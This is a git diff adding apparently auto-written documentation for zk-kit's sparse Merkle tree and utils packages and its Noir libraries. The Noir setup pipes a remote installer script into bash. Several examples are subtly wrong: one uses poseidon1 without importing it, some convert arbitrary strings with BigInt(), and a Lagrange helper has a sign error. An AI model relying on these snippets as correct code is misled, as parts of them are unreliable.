+import { poseidon2 } from "poseidon-lite"
+
+// With BigInt (recommended)
+const tree = new SMT(poseidon2, true)
+
+// With hex strings
+const tree2 = new SMT(poseidon2, false)
+```
+
+### Properties
+
+#### `root`
+
+```typescript
+tree.root: Node
+```
+
+Returns the current root of the tree.
+
+**Example:**
+
+```typescript
+const root = tree.root
+console.log(root) // bigint or hex string
+```
+
+#### `hash`
+
+```typescript
+tree.hash: HashFunction
+```
+
+Returns the hash function used by the tree.
+
+#### `bigNumbers`
+
+```typescript
+tree.bigNumbers: boolean
+```
+
+Returns whether the tree uses `BigInt` or hex strings.
+
+### Methods
+
+#### `add`
+
+```typescript
+tree.add(key: Node, value: Node): void
+```
+
+Adds or updates a key-value pair in the tree.
+
+**Parameters:**
+
+- `key`: The key (typically a `bigint`)
+- `value`: The value (typically a `bigint`)
+
+**Example:**
+
+```typescript
+tree.add(BigInt(1), BigInt(100))
+tree.add(BigInt(2), BigInt(200))
+
+// Update existing key
+tree.add(BigInt(1), BigInt(150))
+```
+
+#### `get`
+
+```typescript
+tree.get(key: Node): Node | undefined
+```
+
+Retrieves the value for a given key.
+
+**Parameters:**
+
+- `key`: The key to look up
+
+**Returns:**
+
+- `Node | undefined`: The value, or `undefined` if key doesn't exist
+
+**Example:**
+
+```typescript
+tree.add(BigInt(1), BigInt(100))
+const value = tree.get(BigInt(1))
+console.log(value) // 100n
+
+const missing = tree.get(BigInt(999))
+console.log(missing) // undefined
+```
+
+#### `update`
+
+```typescript
+tree.update(key: Node, value: Node): void
+```
+
+Updates an existing key. Throws error if key doesn't exist.
+
+**Parameters:**
+
+- `key`: The key to update
+- `value`: The new value
+
+**Example:**
+
+```typescript
+tree.add(BigInt(1), BigInt(100))
+tree.update(BigInt(1), BigInt(150))
+
+// Throws error if key doesn't exist
+// tree.update(BigInt(999), BigInt(100)) // Error!
+```
+
+#### `delete`
+
+```typescript
+tree.delete(key: Node): void
+```
+
+Removes a key-value pair from the tree.
+
+**Parameters:**
+
+- `key`: The key to delete
+
+**Example:**
+
+```typescript
+tree.add(BigInt(1), BigInt(100))
+tree.delete(BigInt(1))
+
+console.log(tree.get(BigInt(1))) // undefined
+```
+
+#### `has`
+
+```typescript
+tree.has(key: Node): boolean
+```
+
+Checks if a key exists in the tree.
+
+**Parameters:**
+
+- `key`: The key to check
+
+**Returns:**
+
+- `boolean`: `true` if key exists
+
+**Example:**
+
+```typescript
+tree.add(BigInt(1), BigInt(100))
+
+console.log(tree.has(BigInt(1))) // true
+console.log(tree.has(BigInt(2))) // false
+```
+
+#### `createProof`
+
+```typescript
+tree.createProof(key: Node): SMTProof
+```
+
+Generates a proof for a key (membership or non-membership).
+
+**Parameters:**
+
+- `key`: The key to prove
+
+**Returns:**
+
+- `SMTProof`: Object containing proof data
+
+**Example:**
+
+```typescript
+tree.add(BigInt(1), BigInt(100))
+
+// Membership proof
+const memberProof = tree.createProof(BigInt(1))
+console.log(memberProof.membership) // true
+console.log(memberProof.value) // 100n
+
+// Non-membership proof
+const nonMemberProof = tree.createProof(BigInt(999))
+console.log(nonMemberProof.membership) // false
+```
+
+#### `verifyProof`
+
+```typescript
+tree.verifyProof(proof: SMTProof): boolean
+```
+
+Verifies a proof (membership or non-membership).
+
+**Parameters:**
+
+- `proof`: The proof object from `createProof`
+
+**Returns:**
+
+- `boolean`: `true` if proof is valid
+
+**Example:**
+
+```typescript
+const proof = tree.createProof(BigInt(1))
+const isValid = tree.verifyProof(proof)
+console.log(isValid) // true
+```
+
+#### Static: `verifyProof`
+
+```typescript
+SMT.verifyProof(
+  proof: SMTProof,
+  hash: HashFunction
+): boolean
+```
+
+Verifies a proof without a tree instance.
+
+**Parameters:**
+
+- `proof`: The proof object
+- `hash`: Hash function used by the tree
+
+**Returns:**
+
+- `boolean`: `true` if proof is valid
+
+**Example:**
+
+```typescript
+import { SMT } from "@zk-kit/smt"
+import { poseidon2 } from "poseidon-lite"
+
+const isValid = SMT.verifyProof(proof, poseidon2)
+```
+
+## Advanced Usage
+
+### Account Balance State
+
+```typescript
+import { SMT } from "@zk-kit/smt"
+import { poseidon2 } from "poseidon-lite"
+
+// Store account balances
+const balances = new SMT(poseidon2, true)
+
+// Set balances
+balances.add(
+  BigInt("0x1234..."), // address
+  BigInt(1000) // balance
+)
+
+// Update balance
+const address = BigInt("0x1234...")
+const currentBalance = balances.get(address)
+balances.update(address, currentBalance + BigInt(100))
+
+// Prove balance
+const proof = balances.createProof(address)
+```
+
+### Non-Membership for Uniqueness
+
+```typescript
+import { SMT } from "@zk-kit/smt"
+import { poseidon2 } from "poseidon-lite"
+
+// Ensure username uniqueness
+const usernames = new SMT(poseidon2, true)
+
+function registerUsername(username: string, userId: bigint): boolean {
+  const usernameHash = poseidon1([BigInt(username)])
+  
+  // Check if username is available
+  if (usernames.has(usernameHash)) {
+    return false // Username taken
+  }
+  
+  // Register username
+  usernames.add(usernameHash, userId)
+  
+  // Proof that username was available
+  const proof = usernames.createProof(usernameHash)
+  
+  return true
+}
+```
+
+### Identity State Management
+
+```typescript
+import { SMT } from "@zk-kit/smt"
+import { poseidon2 } from "poseidon-lite"
+
+// Identity system with revocation
+const identities = new SMT(poseidon2, true)
+
+// Add identity
+identities.add(BigInt(1), BigInt(1)) // Active
+
+// Revoke identity
+identities.update(BigInt(1), BigInt(0)) // Revoked
+
+// Prove identity status
+const proof = identities.createProof(BigInt(1))
+console.log(proof.value) // 0 (revoked)
+```
+
+### Key-Value Database
+
+```typescript
+import { SMT } from "@zk-kit/smt"
+import { poseidon2 } from "poseidon-lite"
+import { poseidon1 } from "poseidon-lite"
+
+class ZKDatabase {
+  private tree: SMT
+  
+  constructor() {
+    this.tree = new SMT(poseidon2, true)
+  }
+  
+  set(key: string, value: string) {
+    const keyHash = poseidon1([BigInt(key)])
+    const valueHash = poseidon1([BigInt(value)])
+    this.tree.add(keyHash, valueHash)
+  }
+  
+  get(key: string): bigint | undefined {
+    const keyHash = poseidon1([BigInt(key)])
+    return this.tree.get(keyHash)
+  }
+  
+  prove(key: string) {
+    const keyHash = poseidon1([BigInt(key)])
+    return this.tree.createProof(keyHash)
+  }
+  
+  getRoot(): bigint {
+    return this.tree.root as bigint
+  }
+}
+```
+
+## Performance Characteristics
+
+| Operation | Time Complexity | Notes |
+|-----------|----------------|-------|
+| Add | O(log n) | n = 256 (tree depth) |
+| Get | O(log n) | |
+| Update | O(log n) | |
+| Delete | O(log n) | |
+| Create Proof | O(log n) | |
+| Verify Proof | O(log n) | |
+| Has | O(log n) | |
+
+## Memory Usage
+
+- **Storage**: O(k) where k is number of non-empty leaves
+- **Tree Depth**: Fixed at 256 (for 256-bit keys)
+- **Proof Size**: O(256) = ~8KB
+- **Sparse**: Only stores non-empty nodes
+
+## Proof Structure
+
+```typescript
+interface SMTProof {
+  root: Node              // Tree root
+  membership: boolean     // true if key exists
+  key: Node              // The key being proved
+  value?: Node           // Value (if membership = true)
+  siblings: Node[]       // Sibling hashes
+  aux?: {                // For non-membership
+    key: Node
+    value: Node
+  }
+}
+```
+
+## Dependencies
+
+- `crypto-js`: For hashing operations
+- Hash function (recommended):
+  - `poseidon-lite` for ZK circuits
+  - Any function matching `(nodes: Node[]) => Node`
+
+## TypeScript Support
+
+Full TypeScript support with type definitions included.
+
+```typescript
+import type { SMT, SMTProof, Node, HashFunction } from "@zk-kit/smt"
+```
+
+## Related Documentation
+
+- [IMT Package](/docs/packages/javascript/imt) - For membership-only proofs
+- [Choosing a Package](/docs/packages/choosing-a-package) - Decision guide
+- [Merkle Trees](/docs/core-concepts/merkle-trees) - Core concepts
+
+## Common Use Cases
+
+- βœ… Account balance state
+- βœ… Identity systems with revocation
+- βœ… Key-value databases with proofs
+- βœ… Non-membership proofs
+- βœ… State management
+- βœ… Proving uniqueness
+- βœ… Rollup state trees
+
+## When to Use SMT
+
+Use SMT when:
+- Need key-value storage with proofs
+- Need to prove key absence (non-membership)
+- Keys are not sequential
+- Frequent updates and deletions
+- Sparse data sets
+
+Use [IMT](/docs/packages/javascript/imt) when:
+- Only need membership proofs
+- Sequential insertions
+- Memory/speed is critical
+
+Use [LeanIMT](/docs/packages/javascript/lean-imt) when:
+- Memory is extremely limited
+- Only need membership proofs
+
+## Limitations
+
+- Fixed depth of 256 levels
+- Larger proof sizes than IMT (~8KB vs ~640B for depth-20)
+- Slower than IMT for sequential insertions
+
+## Source
+
+- **GitHub**: [zk-kit/packages/smt](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/smt)
+- **NPM**: [@zk-kit/smt](https://www.npmjs.com/package/@zk-kit/smt)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/smt/examples)
+
+
+
diff --git a/docs/packages/javascript/utils.md b/docs/packages/javascript/utils.md
new file mode 100644
index 0000000..c30c19b
--- /dev/null
+++ b/docs/packages/javascript/utils.md
@@ -0,0 +1,718 @@
+---
+sidebar_position: 7
+title: "@zk-kit/utils"
+---
+
+# @zk-kit/utils
+
+Utility functions for zero-knowledge applications including field arithmetic, conversions, and helper functions.
+
+## Overview
+
+This package provides essential utilities for working with zero-knowledge proofs:
+- **Field arithmetic**: Operations in finite fields
+- **Conversions**: Between different number formats
+- **Validators**: Check values and formats
+- **Helpers**: Common ZK operations
+
+## Installation
+
+```bash
+npm install @zk-kit/utils
+```
+
+## Quick Start
+
+### Field Arithmetic
+
+```typescript
+import { F1Field } from "@zk-kit/utils"
+
+// Baby JubJub prime field
+const BABYJUBJUB_PRIME = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617")
+
+const field = new F1Field(BABYJUBJUB_PRIME)
+
+// Field operations
+const a = BigInt(100)
+const b = BigInt(200)
+
+const sum = field.add(a, b)
+const product = field.mul(a, b)
+const inverse = field.inv(a)
+const power = field.pow(a, BigInt(3))
+
+console.log(sum)     // 300n
+console.log(product) // 20000n
+```
+
+### Number Conversions
+
+```typescript
+import {
+  bigintToUint8Array,
+  uint8ArrayToBigInt,
+  bigintToHex,
+  hexToBigint
+} from "@zk-kit/utils"
+
+// BigInt to Uint8Array
+const num = BigInt(12345)
+const bytes = bigintToUint8Array(num)
+console.log(bytes) // Uint8Array
+
+// Uint8Array to BigInt
+const recovered = uint8ArrayToBigInt(bytes)
+console.log(recovered) // 12345n
+
+// BigInt to hex
+const hex = bigintToHex(num)
+console.log(hex) // "0x3039"
+
+// Hex to BigInt
+const fromHex = hexToBigint("0x3039")
+console.log(fromHex) // 12345n
+```
+
+## API Reference
+
+### F1Field Class
+
+Finite field arithmetic operations.
+
+#### Constructor
+
+```typescript
+new F1Field(order: bigint): F1Field
+```
+
+Creates a finite field with the given order (prime).
+
+**Parameters:**
+
+- `order`: The prime modulus of the field
+
+**Example:**
+
+```typescript
+import { F1Field } from "@zk-kit/utils"
+
+const PRIME = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617")
+const field = new F1Field(PRIME)
+```
+
+#### Properties
+
+##### `order`
+
+```typescript
+field.order: bigint
+```
+
+Returns the order (prime) of the field.
+
+##### `zero`
+
+```typescript
+field.zero: bigint
+```
+
+Returns the additive identity (0).
+
+##### `one`
+
+```typescript
+field.one: bigint
+```
+
+Returns the multiplicative identity (1).
+
+#### Methods
+
+##### `add`
+
+```typescript
+field.add(a: bigint, b: bigint): bigint
+```
+
+Adds two field elements.
+
+**Parameters:**
+
+- `a`: First element
+- `b`: Second element
+
+**Returns:**
+
+- `bigint`: (a + b) mod order
+
+**Example:**
+
+```typescript
+const sum = field.add(BigInt(5), BigInt(10))
+console.log(sum) // 15n
+```
+
+##### `sub`
+
+```typescript
+field.sub(a: bigint, b: bigint): bigint
+```
+
+Subtracts two field elements.
+
+**Returns:**
+
+- `bigint`: (a - b) mod order
+
+**Example:**
+
+```typescript
+const diff = field.sub(BigInt(10), BigInt(5))
+console.log(diff) // 5n
+```
+
+##### `mul`
+
+```typescript
+field.mul(a: bigint, b: bigint): bigint
+```
+
+Multiplies two field elements.
+
+**Returns:**
+
+- `bigint`: (a * b) mod order
+
+**Example:**
+
+```typescript
+const product = field.mul(BigInt(5), BigInt(10))
+console.log(product) // 50n
+```
+
+##### `div`
+
+```typescript
+field.div(a: bigint, b: bigint): bigint
+```
+
+Divides two field elements (a * b⁻¹).
+
+**Returns:**
+
+- `bigint`: (a / b) mod order
+
+**Example:**
+
+```typescript
+const quotient = field.div(BigInt(10), BigInt(5))
+console.log(quotient) // 2n
+```
+
+##### `neg`
+
+```typescript
+field.neg(a: bigint): bigint
+```
+
+Negates a field element.
+
+**Returns:**
+
+- `bigint`: -a mod order
+
+**Example:**
+
+```typescript
+const negated = field.neg(BigInt(5))
+console.log(field.add(BigInt(5), negated)) // 0n
+```
+
+##### `inv`
+
+```typescript
+field.inv(a: bigint): bigint
+```
+
+Computes the multiplicative inverse.
+
+**Returns:**
+
+- `bigint`: a⁻¹ mod order
+
+**Example:**
+
+```typescript
+const a = BigInt(5)
+const inverse = field.inv(a)
+console.log(field.mul(a, inverse)) // 1n
+```
+
+##### `pow`
+
+```typescript
+field.pow(base: bigint, exponent: bigint): bigint
+```
+
+Raises a field element to a power.
+
+**Returns:**
+
+- `bigint`: base^exponent mod order
+
+**Example:**
+
+```typescript
+const result = field.pow(BigInt(2), BigInt(10))
+console.log(result) // 1024n
+```
+
+##### `sqrt`
+
+```typescript
+field.sqrt(a: bigint): bigint | null
+```
+
+Computes the square root if it exists.
+
+**Returns:**
+
+- `bigint | null`: Square root or null if none exists
+
+**Example:**
+
+```typescript
+const a = BigInt(4)
+const sqrt = field.sqrt(a)
+console.log(sqrt) // 2n or field.sub(order, 2n)
+```
+
+##### `isZero`
+
+```typescript
+field.isZero(a: bigint): boolean
+```
+
+Checks if a value is zero in the field.
+
+**Returns:**
+
+- `boolean`: `true` if a equals 0
+
+**Example:**
+
+```typescript
+console.log(field.isZero(BigInt(0))) // true
+console.log(field.isZero(field.order)) // true (wraps to 0)
+```
+
+##### `equals`
+
+```typescript
+field.equals(a: bigint, b: bigint): boolean
+```
+
+Checks if two field elements are equal.
+
+**Returns:**
+
+- `boolean`: `true` if a equals b (mod order)
+
+**Example:**
+
+```typescript
+const a = BigInt(5)
+const b = field.add(BigInt(5), field.order)
+console.log(field.equals(a, b)) // true (equivalent in field)
+```
+
+##### `normalize`
+
+```typescript
+field.normalize(a: bigint): bigint
+```
+
+Normalizes a value to the range [0, order).
+
+**Returns:**
+
+- `bigint`: a mod order
+
+**Example:**
+
+```typescript
+const normalized = field.normalize(BigInt(-5))
+console.log(normalized) // order - 5n
+```
+
+### Conversion Functions
+
+#### `bigintToUint8Array`
+
+```typescript
+bigintToUint8Array(
+  value: bigint,
+  length?: number
+): Uint8Array
+```
+
+Converts a BigInt to a Uint8Array.
+
+**Parameters:**
+
+- `value`: The BigInt to convert
+- `length`: Optional fixed length (pads with zeros)
+
+**Returns:**
+
+- `Uint8Array`: Byte representation
+
+**Example:**
+
+```typescript
+import { bigintToUint8Array } from "@zk-kit/utils"
+
+const bytes = bigintToUint8Array(BigInt(255))
+console.log(bytes) // Uint8Array[255]
+
+const fixed = bigintToUint8Array(BigInt(255), 32)
+console.log(fixed.length) // 32
+```
+
+#### `uint8ArrayToBigInt`
+
+```typescript
+uint8ArrayToBigInt(bytes: Uint8Array): bigint
+```
+
+Converts a Uint8Array to a BigInt.
+
+**Parameters:**
+
+- `bytes`: The byte array to convert
+
+**Returns:**
+
+- `bigint`: The resulting number
+
+**Example:**
+
+```typescript
+import { uint8ArrayToBigInt } from "@zk-kit/utils"
+
+const bytes = new Uint8Array([0, 255])
+const num = uint8ArrayToBigInt(bytes)
+console.log(num) // 255n
+```
+
+#### `bigintToHex`
+
+```typescript
+bigintToHex(value: bigint, length?: number): string
+```
+
+Converts a BigInt to a hexadecimal string.
+
+**Parameters:**
+
+- `value`: The BigInt to convert
+- `length`: Optional fixed length (pads with zeros)
+
+**Returns:**
+
+- `string`: Hex string with "0x" prefix
+
+**Example:**
+
+```typescript
+import { bigintToHex } from "@zk-kit/utils"
+
+const hex = bigintToHex(BigInt(255))
+console.log(hex) // "0xff"
+
+const fixed = bigintToHex(BigInt(255), 8)
+console.log(fixed) // "0x000000ff"
+```
+
+#### `hexToBigint`
+
+```typescript
+hexToBigint(hex: string): bigint
+```
+
+Converts a hexadecimal string to a BigInt.
+
+**Parameters:**
+
+- `hex`: Hex string (with or without "0x" prefix)
+
+**Returns:**
+
+- `bigint`: The resulting number
+
+**Example:**
+
+```typescript
+import { hexToBigint } from "@zk-kit/utils"
+
+const num = hexToBigint("0xff")
+console.log(num) // 255n
+
+const num2 = hexToBigint("ff")
+console.log(num2) // 255n
+```
+
+#### `bufferToBigInt`
+
+```typescript
+bufferToBigInt(buffer: Buffer): bigint
+```
+
+Converts a Buffer to a BigInt.
+
+**Parameters:**
+
+- `buffer`: The buffer to convert
+
+**Returns:**
+
+- `bigint`: The resulting number
+
+**Example:**
+
+```typescript
+import { bufferToBigInt } from "@zk-kit/utils"
+
+const buffer = Buffer.from([0, 255])
+const num = bufferToBigInt(buffer)
+console.log(num) // 255n
+```
+
+#### `bigintToBuffer`
+
+```typescript
+bigintToBuffer(value: bigint, length?: number): Buffer
+```
+
+Converts a BigInt to a Buffer.
+
+**Parameters:**
+
+- `value`: The BigInt to convert
+- `length`: Optional fixed length
+
+**Returns:**
+
+- `Buffer`: Buffer representation
+
+**Example:**
+
+```typescript
+import { bigintToBuffer } from "@zk-kit/utils"
+
+const buffer = bigintToBuffer(BigInt(255))
+console.log(buffer) // 
+```
+
+### Validation Functions
+
+#### `requireBigInt`
+
+```typescript
+requireBigInt(value: any, name?: string): bigint
+```
+
+Validates and returns a BigInt, throws on invalid input.
+
+**Parameters:**
+
+- `value`: Value to validate
+- `name`: Optional parameter name for error message
+
+**Returns:**
+
+- `bigint`: The validated BigInt
+
+**Throws:**
+
+- TypeError if not a BigInt
+
+**Example:**
+
+```typescript
+import { requireBigInt } from "@zk-kit/utils"
+
+const valid = requireBigInt(BigInt(123), "myValue")
+console.log(valid) // 123n
+
+// Throws: TypeError: myValue must be a BigInt
+// requireBigInt("123", "myValue")
+```
+
+#### `requireArray`
+
+```typescript
+requireArray(value: any, name?: string): any[]
+```
+
+Validates that a value is an array.
+
+**Parameters:**
+
+- `value`: Value to validate
+- `name`: Optional parameter name
+
+**Returns:**
+
+- `any[]`: The validated array
+
+**Throws:**
+
+- TypeError if not an array
+
+**Example:**
+
+```typescript
+import { requireArray } from "@zk-kit/utils"
+
+const valid = requireArray([1, 2, 3], "myArray")
+console.log(valid) // [1, 2, 3]
+
+// Throws: TypeError
+// requireArray("not array", "myArray")
+```
+
+## Advanced Usage
+
+### Custom Field Operations
+
+```typescript
+import { F1Field } from "@zk-kit/utils"
+
+// Create field for BN254 curve
+const BN254_PRIME = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617")
+const field = new F1Field(BN254_PRIME)
+
+function lagrangeInterpolation(
+  points: Array<[bigint, bigint]>
+): bigint[] {
+  const n = points.length
+  const result: bigint[] = []
+  
+  for (let i = 0; i < n; i++) {
+    let numerator = field.one
+    let denominator = field.one
+    
+    for (let j = 0; j < n; j++) {
+      if (i !== j) {
+        numerator = field.mul(numerator, points[j][0])
+        denominator = field.mul(
+          denominator,
+          field.sub(points[j][0], points[i][0])
+        )
+      }
+    }
+    
+    const coefficient = field.div(numerator, denominator)
+    result.push(field.mul(coefficient, points[i][1]))
+  }
+  
+  return result
+}
+```
+
+### Batch Conversions
+
+```typescript
+import { bigintToUint8Array, uint8ArrayToBigInt } from "@zk-kit/utils"
+
+function serializeArray(values: bigint[]): Uint8Array {
+  // Convert array of BigInts to single Uint8Array
+  const chunks = values.map(v => bigintToUint8Array(v, 32))
+  
+  const result = new Uint8Array(chunks.length * 32)
+  chunks.forEach((chunk, i) => {
+    result.set(chunk, i * 32)
+  })
+  
+  return result
+}
+
+function deserializeArray(data: Uint8Array): bigint[] {
+  // Convert Uint8Array back to array of BigInts
+  const result: bigint[] = []
+  
+  for (let i = 0; i < data.length; i += 32) {
+    const chunk = data.slice(i, i + 32)
+    result.push(uint8ArrayToBigInt(chunk))
+  }
+  
+  return result
+}
+```
+
+## Constants
+
+### Common Field Primes
+
+```typescript
+import { F1Field } from "@zk-kit/utils"
+
+// Baby JubJub / BN254
+export const BN254_PRIME = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617")
+
+// Subgroup order
+export const BABYJUBJUB_ORDER = BigInt("2736030358979909402780800718157159386076813972158567259200215660948447373041")
+
+const field = new F1Field(BN254_PRIME)
+```
+
+## Performance Tips
+
+1. **Reuse field instances**: Create once, use many times
+2. **Batch operations**: Group multiple operations together
+3. **Pre-compute constants**: Calculate once, store result
+4. **Use native BigInt**: Faster than string conversion
+
+## Dependencies
+
+None - this is a standalone package.
+
+## TypeScript Support
+
+Full TypeScript support with type definitions included.
+
+```typescript
+import type { F1Field } from "@zk-kit/utils"
+```
+
+## Related Documentation
+
+- [Baby JubJub](/docs/packages/javascript/baby-jubjub) - Uses field arithmetic
+- [EdDSA-Poseidon](/docs/packages/javascript/eddsa-poseidon) - Uses conversions
+- [Core Concepts](/docs/core-concepts/zero-knowledge-basics) - ZK fundamentals
+
+## Common Use Cases
+
+- βœ… Field arithmetic in finite fields
+- βœ… Number format conversions
+- βœ… Data serialization/deserialization
+- βœ… Cryptographic operations
+- βœ… Circuit input preparation
+- βœ… Value validation
+
+## Source
+
+- **GitHub**: [zk-kit/packages/utils](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/utils)
+- **NPM**: [@zk-kit/utils](https://www.npmjs.com/package/@zk-kit/utils)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/utils/examples)
+
+
+
diff --git a/docs/packages/noir/_category_.json b/docs/packages/noir/_category_.json
new file mode 100644
index 0000000..ed1c2f5
--- /dev/null
+++ b/docs/packages/noir/_category_.json
@@ -0,0 +1,13 @@
+{
+  "label": "Noir",
+  "position": 6,
+  "link": {
+    "type": "generated-index",
+    "title": "Noir Libraries",
+    "description": "ZK-Kit implementations in Noir language.",
+    "slug": "/packages/noir"
+  }
+}
+
+
+
diff --git a/docs/packages/noir/overview.md b/docs/packages/noir/overview.md
new file mode 100644
index 0000000..3904f57
--- /dev/null
+++ b/docs/packages/noir/overview.md
@@ -0,0 +1,570 @@
+---
+sidebar_position: 1
+title: Noir Overview
+---
+
+# Noir Libraries
+
+ZK-Kit implementations in Noir, a domain-specific language for writing zero-knowledge circuits.
+
+## Overview
+
+The ZK-Kit Noir package provides libraries for building zero-knowledge applications using the Noir language, which offers:
+- **Modern syntax**: Rust-like syntax for ZK circuits
+- **Type safety**: Strong typing for circuit development
+- **PLONK-based**: No trusted setup per-circuit
+- **Easy integration**: Works with Ethereum and other chains
+
+## Repository
+
+- **GitHub**: [zk-kit.noir](https://github.com/privacy-scaling-explorations/zk-kit.noir)
+- **License**: MIT
+
+## Prerequisites
+
+Install Noir and its tooling:
+
+```bash
+# Install noirup (Noir version manager)
+curl -L https://raw.githubusercontent.com/noir-lang/noirup/main/install | bash
+
+# Install latest Noir
+noirup
+
+# Verify installation
+nargo --version
+```
+
+For detailed setup, see [Development Setup](/docs/getting-started/development-setup).
+
+## Installation
+
+Add to your `Nargo.toml`:
+
+```toml
+[dependencies]
+zk_kit = { tag = "v0.1.0", git = "https://github.com/privacy-scaling-explorations/zk-kit.noir" }
+```
+
+Or clone directly:
+
+```bash
+git clone https://github.com/privacy-scaling-explorations/zk-kit.noir
+```
+
+## Available Libraries
+
+### Merkle Trees
+
+Incremental Merkle Tree implementation in Noir.
+
+**Usage**:
+
+```rust
+use dep::zk_kit::merkle_tree::verify_proof;
+
+fn main(
+    root: Field,
+    leaf: Field,
+    path_indices: [u1; 20],
+    siblings: [Field; 20]
+) {
+    let is_valid = verify_proof(root, leaf, path_indices, siblings);
+    assert(is_valid);
+}
+```
+
+### Poseidon Hash
+
+Poseidon hash function for Noir circuits.
+
+**Usage**:
+
+```rust
+use dep::zk_kit::poseidon::poseidon2;
+
+fn main(left: Field, right: Field) -> pub Field {
+    poseidon2([left, right])
+}
+```
+
+### EdDSA Signatures
+
+EdDSA signature verification in Noir.
+
+**Usage**:
+
+```rust
+use dep::zk_kit::eddsa::verify_signature;
+
+fn main(
+    message: Field,
+    signature_r: Field,
+    signature_s: Field,
+    public_key_x: Field,
+    public_key_y: Field
+) {
+    let is_valid = verify_signature(
+        message,
+        signature_r,
+        signature_s,
+        public_key_x,
+        public_key_y
+    );
+    assert(is_valid);
+}
+```
+
+## Quick Start Example
+
+### Simple Membership Proof
+
+```rust
+// src/main.nr
+use dep::std;
+use dep::zk_kit::merkle_tree::verify_proof;
+use dep::zk_kit::poseidon::poseidon2;
+
+fn main(
+    // Public inputs
+    root: pub Field,
+    nullifier: pub Field,
+    
+    // Private inputs
+    secret: Field,
+    path_indices: [u1; 20],
+    siblings: [Field; 20]
+) {
+    // Compute leaf from secret
+    let leaf = poseidon2([secret, nullifier]);
+    
+    // Verify membership
+    let is_member = verify_proof(root, leaf, path_indices, siblings);
+    assert(is_member);
+}
+```
+
+### Project Structure
+
+```
+my-project/
+β”œβ”€β”€ Nargo.toml
+β”œβ”€β”€ Prover.toml
+β”œβ”€β”€ Verifier.toml
+└── src/
+    └── main.nr
+```
+
+### Nargo.toml
+
+```toml
+[package]
+name = "my_zk_app"
+type = "bin"
+authors = [""]
+compiler_version = ">=0.19.0"
+
+[dependencies]
+zk_kit = { tag = "v0.1.0", git = "https://github.com/privacy-scaling-explorations/zk-kit.noir" }
+```
+
+### Prover.toml (Input)
+
+```toml
+root = "0x123..."
+nullifier = "0x456..."
+secret = "0x789..."
+path_indices = [0, 1, 0, 1, ...]
+siblings = ["0xabc...", "0xdef...", ...]
+```
+
+## Build and Prove
+
+```bash
+# Compile circuit
+nargo compile
+
+# Check circuit
+nargo check
+
+# Generate proof
+nargo prove
+
+# Verify proof
+nargo verify
+
+# Generate Solidity verifier
+nargo codegen-verifier
+```
+
+## Integration with JavaScript
+
+Generate inputs using ZK-Kit JavaScript packages:
+
+```typescript
+import { IMT } from "@zk-kit/imt"
+import { poseidon2 } from "poseidon-lite"
+import fs from "fs"
+
+// Create tree
+const tree = new IMT(poseidon2, 20, 0, 2)
+tree.insert(BigInt(123))
+tree.insert(BigInt(456))
+
+// Generate proof
+const proof = tree.createProof(0)
+
+// Create Prover.toml
+const proverToml = `
+root = "${proof.root}"
+leaf = "${proof.leaf}"
+path_indices = [${proof.pathIndices.join(", ")}]
+siblings = [${proof.siblings.map(s => `"${s}"`).join(", ")}]
+`
+
+fs.writeFileSync("Prover.toml", proverToml)
+```
+
+```bash
+# Generate proof with the inputs
+nargo prove
+```
+
+## API Reference
+
+### Merkle Tree Functions
+
+#### `verify_proof`
+
+```rust
+fn verify_proof(
+    root: Field,
+    leaf: Field,
+    path_indices: [u1; N],
+    siblings: [Field; N]
+) -> bool
+```
+
+Verifies a Merkle tree membership proof.
+
+**Parameters**:
+- `root`: Expected Merkle root
+- `leaf`: Leaf to verify
+- `path_indices`: Path through tree (0=left, 1=right)
+- `siblings`: Sibling hashes at each level
+- `N`: Tree depth (generic parameter)
+
+**Returns**: `true` if proof is valid
+
+**Example**:
+
+```rust
+use dep::zk_kit::merkle_tree::verify_proof;
+
+let is_valid = verify_proof(root, leaf, path_indices, siblings);
+assert(is_valid);
+```
+
+### Poseidon Functions
+
+#### `poseidon2`
+
+```rust
+fn poseidon2(inputs: [Field; 2]) -> Field
+```
+
+Hashes two field elements.
+
+**Parameters**:
+- `inputs`: Array of 2 field elements
+
+**Returns**: Hash digest
+
+**Example**:
+
+```rust
+use dep::zk_kit::poseidon::poseidon2;
+
+let hash = poseidon2([left, right]);
+```
+
+#### `poseidon`
+
+```rust
+fn poseidon(inputs: [Field; N]) -> Field
+```
+
+Hashes multiple field elements.
+
+**Parameters**:
+- `inputs`: Array of N field elements
+- `N`: Number of inputs (generic parameter)
+
+**Returns**: Hash digest
+
+**Example**:
+
+```rust
+use dep::zk_kit::poseidon::poseidon;
+
+let hash = poseidon([a, b, c, d]);
+```
+
+### EdDSA Functions
+
+#### `verify_signature`
+
+```rust
+fn verify_signature(
+    message: Field,
+    signature_r: Field,
+    signature_s: Field,
+    public_key_x: Field,
+    public_key_y: Field
+) -> bool
+```
+
+Verifies an EdDSA signature.
+
+**Parameters**:
+- `message`: Message that was signed
+- `signature_r`: R component of signature
+- `signature_s`: S component of signature
+- `public_key_x`: X coordinate of public key
+- `public_key_y`: Y coordinate of public key
+
+**Returns**: `true` if signature is valid
+
+**Example**:
+
+```rust
+use dep::zk_kit::eddsa::verify_signature;
+
+let is_valid = verify_signature(
+    message,
+    sig_r,
+    sig_s,
+    pub_x,
+    pub_y
+);
+assert(is_valid);
+```
+
+## Advanced Usage
+
+### Custom Circuit with ZK-Kit
+
+```rust
+use dep::std;
+use dep::zk_kit::merkle_tree::verify_proof;
+use dep::zk_kit::poseidon::{poseidon2, poseidon};
+
+fn main(
+    // Public inputs
+    root: pub Field,
+    nullifier_hash: pub Field,
+    signal: pub Field,
+    
+    // Private inputs
+    identity_nullifier: Field,
+    identity_trapdoor: Field,
+    path_indices: [u1; 20],
+    siblings: [Field; 20]
+) {
+    // Compute identity commitment
